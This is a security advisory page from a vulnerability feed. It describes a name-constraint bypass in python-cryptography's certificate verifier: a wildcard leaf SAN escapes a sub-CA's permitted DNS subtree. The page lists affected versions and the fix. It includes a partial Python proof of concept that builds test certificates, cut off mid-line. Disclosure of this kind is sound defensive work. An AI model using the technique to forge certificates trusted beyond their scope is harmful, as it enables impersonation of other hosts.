Skip to content
Heist/ feed
UnratedFix available

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Type: advisorySource: OSV1 source record

### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extensi

Announced Group revision 1
Original source ↗

GHSA-m2h6-j472-rp4c

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:GHSA-m2h6-j472-rp4c

cryptography

Source reference: /affected/0/package/name

Affected versions
45.0.0

Source reference: /affected/0/versions

45.0.1

Source reference: /affected/0/versions

45.0.2

Source reference: /affected/0/versions

45.0.3

Source reference: /affected/0/versions

45.0.4

Source reference: /affected/0/versions

45.0.5

Source reference: /affected/0/versions

45.0.6

Source reference: /affected/0/versions

45.0.7

Source reference: /affected/0/versions

46.0.0

Source reference: /affected/0/versions

46.0.1

Source reference: /affected/0/versions

46.0.2

Source reference: /affected/0/versions

46.0.3

Source reference: /affected/0/versions

46.0.4

Source reference: /affected/0/versions

46.0.5

Source reference: /affected/0/versions

46.0.6

Source reference: /affected/0/versions

46.0.7

Source reference: /affected/0/versions

47.0.0

Source reference: /affected/0/versions

48.0.0

Source reference: /affected/0/versions

48.0.1

Source reference: /affected/0/versions

Fixed versions
49.0.0

Source reference: /affected/0/ranges

Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "ranges": [
      {
        "type": "ECOSYSTEM",
        "events": [
          {
            "introduced": "45.0.0"
          },
          {
            "fixed": "49.0.0"
          }
        ]
      }
    ],
    "package": {
      "name": "cryptography",
      "purl": "pkg:pypi/cryptography",
      "ecosystem": "PyPI"
    },
    "versions": [
      "45.0.0",
      "45.0.1",
      "45.0.2",
      "45.0.3",
      "45.0.4",
      "45.0.5",
      "45.0.6",
      "45.0.7",
      "46.0.0",
      "46.0.1",
      "46.0.2",
      "46.0.3",
      "46.0.4",
      "46.0.5",
      "46.0.6",
      "46.0.7",
      "47.0.0",
      "48.0.0",
      "48.0.1"
    ],
    "database_specific": {
      "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m2h6-j472-rp4c/GHSA-m2h6-j472-rp4c.json"
    }
  }
]
Related CVEs
CVE-2026-69248

Source reference: /aliases

Publisher severity

No explicit severity was provided.

Event
#13823 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement